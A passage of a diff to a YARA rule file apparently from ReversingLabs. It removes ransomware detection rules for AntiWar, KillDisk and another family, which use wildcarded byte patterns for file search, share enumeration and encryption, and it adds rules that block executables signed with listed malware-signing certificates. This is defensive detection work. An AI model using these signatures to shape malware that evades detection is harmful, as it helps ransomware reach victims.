11 ?? 6F ?? ?? ?? - ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 FE 04 13 ?? 11 ?? 2D ?? 16 13 ?? 2B ?? 00 11 - ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 - 13 ?? 11 ?? 2D ?? 2A - } - $encrypt_files_p1 = { - 00 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73 - ?? ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 00 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? - ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? - 00 09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16 - 02 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? - ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08 - 2C ?? 08 6F ?? ?? ?? ?? 00 DC 06 13 ?? 2B ?? 11 ?? 2A - } - $encrypt_files_p2 = { - 00 03 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ?? - ?? ?? 0B 06 07 28 ?? ?? ?? ?? 0C 03 0D 09 08 28 ?? ?? ?? ?? 00 2A - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pak El AB" and ( pe.signatures [ i ] . serial == "00:a3:2b:8b:4f:1b:e4:3c:23:eb:28:48:ab:4e:f0:6b:b2" or pe.signatures [ i ] . serial == "a3:2b:8b:4f:1b:e4:3c:23:eb:28:48:ab:4e:f0:6b:b2" ) and 1673395200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_626735Ed30E50E3E0553986D806Bfc54 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "e0cfc0e6-b36e-5d4e-bfe6-21f13499dc0c" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11632-L11648" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "0a2acf8528a12fd05cf58c2ed5224f7472d14251b342ce4df6d9c10c6a6decfc" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $set_environment ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FISH ACCOUNTING & TRANSLATING LIMITED" and pe.signatures [ i ] . serial == "62:67:35:ed:30:e5:0e:3e:05:53:98:6d:80:6b:fc:54" and 1666742400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Antiwar : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_34D42E871Ddb1C92Fa20B55B384E1259 : INFO FILE { meta: - description = "Yara rule that detects AntiWar ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3113ec26-e149-527b-9478-4dd86c7fa464" - date = "2022-04-21" - modified = "2022-04-21" + id = "98a8f4b0-08d0-5e09-b46e-74b46f4df223" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.AntiWar.yara#L1-L146" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11650-L11666" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2d885f35454aaf7cb33f03c30b6681aa16cbe8353003bbae0b1e9fdecb2ff8a7" + logic_hash = "8af5f4abe6425713b7c1fd17deaa78b2cfd6ef73ad960bce883e95661c2dbb56" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "AntiWar" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? - 48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 4C 8B F0 48 89 44 24 ?? 48 83 F8 ?? - 0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 41 8B DC 48 8D 3D ?? ?? ?? ?? 66 90 48 8B 0F - E8 ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? FF C3 48 83 C7 ?? 83 FB ?? 72 ?? 49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ?? - ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? - F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03 - 00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 85 ?? ?? 00 00 ?? ?? 8B 05 ?? ?? ?? ?? 4C 8D - 3C C5 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04 - 0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11 35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 89 05 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 45 33 - C9 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ?? ?? ?? ?? ?? 66 - 66 0F 1F 84 00 ?? ?? 00 00 4B 8D 14 31 41 0F B6 C9 80 E1 ?? C0 E1 ?? 49 8B C3 48 D3 - } - $find_files_p2 = { - E8 30 02 4C 8D 42 ?? 41 8D 0C 12 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 10 49 83 - C1 ?? 49 83 F9 ?? 72 ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E8 ?? 48 63 C8 78 ?? 0F 1F 40 ?? 66 83 BC - 4D ?? ?? 00 00 ?? 74 ?? FF C8 48 83 E9 ?? 79 ?? EB ?? B3 ?? 48 98 4C 8D B5 ?? ?? ?? - ?? 4D 8D 34 46 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 45 33 ED 48 8B 0F E8 ?? ?? ?? ?? - 48 8B D0 49 8B CE FF 15 ?? ?? ?? ?? 0F B6 DB 85 C0 41 0F 44 DD 48 8D 7F ?? 48 83 EE - ?? 75 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 84 DB 0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? - 45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF - 90 89 BD ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 83 3D ?? ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 83 79 ?? ?? 0F 8C - ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03 00 66 C7 85 ?? ?? 00 00 ?? - ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04 0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D - 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11 - 35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D - } - $find_files_p3 = { - 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? - ?? 74 ?? 48 8B C7 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ?? - ?? ?? ?? ?? 90 4E 8D 0C 30 0F B6 C8 80 E1 ?? C0 E1 ?? 4D 8B C3 49 D3 E8 45 30 01 43 - 8D 0C 11 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 51 ?? 48 83 C0 ?? 48 83 F8 ?? 72 - ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? BA - ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? - ?? ?? ?? 48 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 66 89 BD ?? ?? 00 00 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? - 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8B D6 48 85 DB 48 0F 45 D3 48 8D 4D ?? E8 ?? ?? ?? ?? - 48 8B 3D ?? ?? ?? ?? 48 8B 5F ?? 48 3B 5F ?? 74 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0B - } - $find_files_p4 = { - 48 8B 01 48 8D 54 24 ?? FF 50 ?? 48 83 C3 ?? 48 3B 5F ?? 75 ?? 48 8D 05 ?? ?? ?? ?? - 48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? - 72 ?? 48 FF C2 48 8B 8D ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? - 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF - 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 BD ?? ?? ?? ?? 48 8D 4D - ?? E8 ?? ?? ?? ?? EB ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 4C 8D 85 ?? - ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 85 ?? ?? ?? - ?? 45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 - 33 E4 4C 8B 7C 24 ?? 48 8D 95 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0 - } - $enum_shares = { - 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 ?? 33 D2 C7 44 24 ?? ?? ?? ?? - ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42 - ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? - 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54 - 24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 89 5C 24 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00 - ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ?? 48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ?? - 48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B 5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C - 8B C7 48 8D 54 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 5C 24 ?? 48 8B CF E8 ?? ?? ?? - ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? - ?? 48 83 C4 ?? C3 - } - $encrypt_files_p1 = { - 48 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA - ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 8B 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 49 83 FE ?? 0F 84 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 - 8B CE FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B F8 48 85 C0 0F 84 ?? ?? - ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80 - A5 ?? ?? ?? ?? ?? 0F B6 8D ?? ?? ?? ?? 80 E1 ?? 80 C9 ?? 88 8D ?? ?? ?? ?? 4C 8D 85 - ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? - ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 45 8B C1 48 8D - 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? - ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48 - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 44 8D 42 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8B DE 45 33 C9 45 33 C0 48 8B D6 49 8B CE FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? - ?? 48 81 F9 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48 - } - $encrypt_files_p2 = { - 8B FA 48 C1 FF ?? 48 8B C7 48 C1 E8 ?? 48 03 F8 48 85 FF 0F 8E ?? ?? ?? ?? 48 89 74 - 24 ?? 4C 8D 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 89 44 24 ?? 4D 8B CF 4D 8B C7 48 8D 95 ?? ?? ?? ?? 33 C9 E8 ?? ?? ?? - ?? 45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 89 74 24 ?? 4C 8D 8D ?? - ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ?? - 45 33 C9 45 33 C0 48 8B D3 49 8B CE FF 15 ?? ?? ?? ?? 48 83 EF ?? 0F 85 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 83 78 ?? ?? 0F 8C ?? - ?? ?? ?? 41 8B C6 48 8D 1C C5 ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B 0C 18 8B - 04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? - ?? 75 ?? 66 C7 05 ?? ?? 05 00 ?? ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 80 35 ?? ?? - ?? ?? ?? 80 35 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 48 8B - 0C 18 8B 04 0F 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? - ?? ?? ?? ?? 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VENS CORP" and pe.signatures [ i ] . serial == "34:d4:2e:87:1d:db:1c:92:fa:20:b5:5b:38:4e:12:59" and 1630368000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_08D4Dc90047B8470Ccaf3924Dfbd8B5F : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "2abe218a-1d93-5efe-9878-4314cf9ecdf7" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11668-L11684" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "569db2f6d6f4da9985c57812a03f91bce88f2150b17659249e0f746a0d15150b" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_shares ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Dibies" and pe.signatures [ i ] . serial == "08:d4:dc:90:04:7b:84:70:cc:af:39:24:df:bd:8b:5f" and 1619136000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Linux_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_C2Fc83D458E653837Fcfc132C9B03062 : INFO FILE { meta: - description = "Yara rule that detects KillDisk ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "af6652dd-c668-5ae1-b51b-e272cb440c20" - date = "2020-06-26" - modified = "2020-07-15" + id = "135d638c-9ee5-52cf-a6e7-c12e4feef594" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.KillDisk.yara#L1-L144" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11686-L11704" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3ed1fb2b7b24cd4d5100d93ed53a9ab28e1482bd0998a0538d8710a962ee839f" + logic_hash = "836cec8d8396680dd64f95d4dd41f7f5876cb4268d983238a01d2e0990cce74a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "KillDisk" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_1 = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 - 89 45 ?? 31 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 - ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? - ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? - ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 85 C0 79 ?? 48 8B - 85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 78 ?? 48 8B 85 ?? ?? ?? ?? BE ?? - ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? - 85 C0 79 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 90 ?? ?? ?? ?? 48 85 C0 - 48 0F 48 C2 48 C1 F8 ?? 48 89 85 ?? ?? ?? ?? 48 8B 45 ?? 48 85 C0 7E ?? 48 83 BD ?? - ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? - ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48 - 83 BD ?? ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? - ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C2 48 C1 - } - $encrypt_files_2 = { - EA ?? 48 01 D0 48 D1 F8 48 C1 E0 ?? 48 89 C1 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 - CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? - ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? - ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 BA ?? - ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48 C1 F8 ?? 48 89 C2 48 89 C8 48 - C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B - 85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8 - ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 - ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? - 48 8B 8D ?? ?? ?? ?? 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48 - C1 F8 ?? 48 89 C2 48 89 C8 48 C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA - ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 83 85 ?? ?? ?? ?? ?? 83 85 ?? - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? - ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B 75 ?? 64 48 33 - 34 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3 - } - $search_files = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 - 89 45 ?? 31 C0 8B 05 ?? ?? ?? ?? 83 C0 ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 F8 - ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? - ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? - E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 - ?? BE ?? ?? 